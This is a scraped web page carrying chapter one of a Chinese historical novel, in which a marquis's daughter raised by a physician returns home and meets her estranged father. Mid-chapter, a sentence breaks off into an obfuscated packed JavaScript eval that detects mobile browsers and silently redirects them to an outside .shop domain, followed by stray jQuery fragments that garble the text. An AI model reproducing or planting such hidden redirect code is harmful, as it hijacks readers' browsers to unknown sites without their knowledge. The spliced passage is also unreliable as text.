文趣网 > 其他小说 > 骨中仙 > 1. 第一章
    永宁二十八年,京城武威侯府门前密密麻麻挤满了人。

    “诶,听人说,武威侯养在外面多年的女儿今日终于要回京来啦。”

    “你说,这武威侯府是何等气派尊贵,要什么没有,为何偏偏要将女儿送出去,白白忍受这些年的骨肉分离之苦?”

    话音落下,却无人应答,显然这二人都不清楚其中缘由。

    此时,一旁听着的人扬起了嘴角,“这其中的内情你们不知道?”

    见他一副胸有成竹的样子,那两人便一同看着他,希望他接着说下去。

    他咳了几声,缓缓开了口,“据说当年武威侯夫人难产,生下女儿后便撒手人寰了,而那孩子也险些断了气。幸得一名医师相救才堪堪保住性命,之后侯爷便让女儿拜了师跟着那名医离开了京城。”

    那二人一听便来了兴趣,刚想再聊些什么,就听到了马车滚过青砖时的悦耳声响。

    于是,他们便没继续追问下去,转而盯着马车车帷,都希望能看看武威侯的亲生女儿究竟长什么模样。

    只见一只素手缓缓拨开帘幕,一抹白色首先冲了出来,接着便是少女柔顺的长发与她那精致的面庞。

    下马车时,少女的睫毛闪着淡淡金光,阳光洒满她全身,衬得整个人愈发仙气飘飘,惹得围观人群一阵惊叹。

    连站在侯府门前等待的武威侯阮霆都在感慨时光流逝,记忆中那个襁褓中的婴孩已然长成了亭亭玉立的少女。

    阮星澈感受到了人们探究的目光,微微皱了皱眉。

    “星儿。”

    听到阮霆低沉的声音,阮星澈抬起了头,看着眼前陌生的男人,乖巧地行了礼,“父亲。”

    其实在师父说要将她送回京城时,阮星澈内心是十分纠结的。

    一直以来,阮星澈都很想见见师父口中她的亲生父母,但却不是此刻。

    阮星澈是被师父养大的,在她终于能报答养育之恩时,却要撇下年迈的师父离开,她的心中实在不愿。

    回忆起离别时的情景,阮星澈又感到一阵鼻酸。

    师父孙云是个乐天派老头,平日里总是笑眯眯的,却在她上马车时红了眼眶。

    临走之前,他粗糙的手指轻轻抚过阮星澈的头,“星儿,京城侯府才是你的家,离开这么多年也该回去了,你的父亲也很想你。”

    随后他握住了阮星澈的手,“星儿别难过,回了京城也一定要高高兴兴的。”

    阮星澈眼眶中的泪水决堤,“师父,我舍不得离开你,我还没有好好报答你呢。”

    白发老人轻轻拍了拍她的手,“傻丫头,我不需要你的报答,只要以后过得好就行了。”

    “师父。”

    “回了京城可不能像现在这般任性了,明哲保身才最紧要。”

    阮星澈抽泣良久,“知道了师父,徒弟记住了。”

    “以后又不是不见了,何必哭得这么伤心,再说了你还可以给我写信呢。振作起来!我孙云的徒弟可不许这么软弱!”

    正说着,他一把抹去了阮星澈脸上残留的泪水,“好了,时候不早了,该启程了,记得在马车上把脸好好擦一擦,不然就成小花猫了。”

    阮星澈被师父的话逗笑了,残留的泪痕与嘴角的笑意竟同时出现在了一张脸上,“知道了师父,那我走了。”

    进车厢前,阮星澈转头看向了自己的师父,“师父,您一定要保重身体,我会定期给您写信的。”

    只见那老者冲她微笑着点了点头,阮星澈这才上了车。

    车轮渐渐转动起来,白发老人朝着马车大喊,“要是你过得不好,为师定会去京城向你父亲讨个说法!”

    马车车窗打开,露出了少女的容颜,“知道啦,师父!”

    哒哒声渐渐消失,老人敛去了微笑,无奈地叹了口气。

    “星儿!星儿!”男人的声音将阮星澈的思绪唤回。

    见他有些焦急,阮星澈开口解释道:“父亲,女儿方才有些走神了。”

    听到她的话,阮霆总算平复了心情,静静地看着阮星澈,“那就好,那就好。”

    她眼中的疏离自然没有逃过阮霆的眼睛,心脏不由得有些抽痛,却还是对她笑了笑。

    “星儿,快进府里来,我带你好好逛一逛,你再挑个自己喜欢的院子住。”

    阮星澈点了点头,跟着他进了侯府。

    父女俩都走了,围在侯府门前的人群自然也散开了。

    阮星澈跟着阮霆走过了安静的前院,穿过了曲折的走廊,来到了一处花园前。

    “星儿,你看。”阮霆转头叫着她。

    阮星澈走上前去,仔细观察才发现这片花园连接着侯府后院所有的房间。

    整个后院清香扑鼻,错落有致,足见布局之人的用心。

    低下头,阮星澈发现花园中的路也颇具巧思。一颗颗平滑的鹅卵石镶嵌其中,走在上面令人放松舒适。

    看到阮星澈好奇的模样,阮霆微微扬起了嘴角,“这后院全是你母亲的主意,当年我本打算请工匠来,可你母亲却说要自己设计,我劝了多次也没能劝住,最后还是遂了她的意。”

    “结果侯府完工后,你母亲便因操劳过度生了病,那时我问她可曾后悔,她信誓旦旦地说不后悔。”

    说到这,阮霆望向前方的目光变得温柔,仿佛在花园中央见到了他的妻子。

    此时,阮星澈抬起了头,细细打量起身侧的男人。

    阮霆外表那层坚硬的壳缓缓脱落,露出了他深埋的柔软与悲伤,那才是活着的人该有的模样。

    “父亲。”阮星澈轻轻唤了声阮霆,将他拉回了现实。

    明明都是同样的两个字,这一声“父亲”却让阮霆的内心感受到了久违的温暖。

    他脸上的笑意更甚,朝着阮星澈伸出了手。

    看着面前猛然靠近的大手,阮星澈本能地避开,而后她突然意识到那只手是属于她父亲的。

    见到阮星澈的反应,那只手微微一愣,又回到了它原本的地方。

    阮星澈低着头,双手紧紧攥在一起,却不知该说些什么。

    “星儿,走吧,咱们还有好多地方没去呢。”

    “嗯。”阮星澈闷闷地回应,跟上了阮霆的步伐。

    上午的时光在一片尴尬的气氛中结束了。

    阮霆领着阮星澈到了膳厅,琳琅满目的菜品很快被摆上了桌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615156|206057||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    阮星澈拿起木筷便要夹菜,又想起阮霆还未动筷,悻悻地收回了手。

    殊不知她的样子刺痛了阮霆的心,他没想到亲生女儿在自己家里竟如此谨小慎微,生怕触怒了他。

    回想起孙云信中她活泼的样子,与现在的对比何其鲜明。

    阮霆不禁有些后悔将她接回京城了,他终究还是把自己所认为好的强加在了女儿的身上。

    思及此,膝盖上的双手紧握成拳,指甲深深地嵌入了手心。

    阮星澈看着沉默的男人,想说些什么,张嘴却发现不知该从何说起。

    诡异的沉默持续了许久。

    “父亲。”

    “星儿。”

    父女俩同时开口,又同时止住了话头,都在等着对方继续。

    “星儿,你先说吧。”

    阮星澈点了点头,“父亲,你可有什么想吃的菜?”

    阮霆盯着阮星澈看了许久,忽然勾起了嘴角,随后摇了摇头,“这话该我问你才是,星儿,若是你有什么想吃的菜便吃吧,无需顾忌我。”

    听到阮霆的话,阮星澈暗暗松了口气,“父亲,你刚才想说什么?”

    “没什么。好了,快吃吧,不然菜该凉了。”

    看着阮星澈吃饭的模样,阮霆收回了将她送回孙云身边的想法。

    是啊,这缺席的二十年怎么可能用一上午的时间便弥补回来呢。

    来日方长,自己已经错过了女儿的成长,如今终于见到了她,绝不能再错过她今后的人生。

    阮霆暗自发誓,他定会让女儿在京城也能肆意生长。

    中饭过后,阮霆与阮星澈逛了大半个侯府,随后,阮星澈挑选了一个自己最喜欢的院子。

    听说,这座院子名为金辉院,因院中的千年银杏树而得名。

    就在阮星澈静静欣赏院中美景时,身后传来了阮霆的声音,“星儿,我还有些事情要处理,不能陪着你了,若是逛累了进房间里休息就好。”

    “知道了,父亲。”

    “哦,对了,一会儿府里的管家会过来,你若是还需要什么东西,同他说便是。”

    男人的背影渐渐消失在了院墙之间,阮星澈一直紧绷的神经终于放松了下来。

    她长长呼出一口气,离那颗银杏树更近了些。

    只见那银杏叶在风中摇曳,有几片落到了阮星澈的肩膀上。

    看着手中折扇般的叶片,她自言自语道:“哎,这银杏叶可是极好的药材。只是这银杏树已经存在了千年,若是叶子被摘光了,岂不是可惜了。”

    说罢,阮星澈将叶片收入了随身携带的小包中。

    她又在院中逛了许久,才进了屋。

    刚进门,映入眼帘的便是一扇精美的屏风。绕过屏风往屋里走,各处都摆着雅致的物件,连书案上的笔洗都是白玉制成的。

    阮星澈满意地点点头,坐在了紫檀木椅上。她随手拿起了一本书橱中的书读了起来。

    此刻的金辉院中安静地连风吹叶片的沙沙声都格外响亮。

    过了片刻,外面突然多了些嘈杂的声响。阮星澈自然也没了继续读下去的念头,合上书后就朝着屋外走去。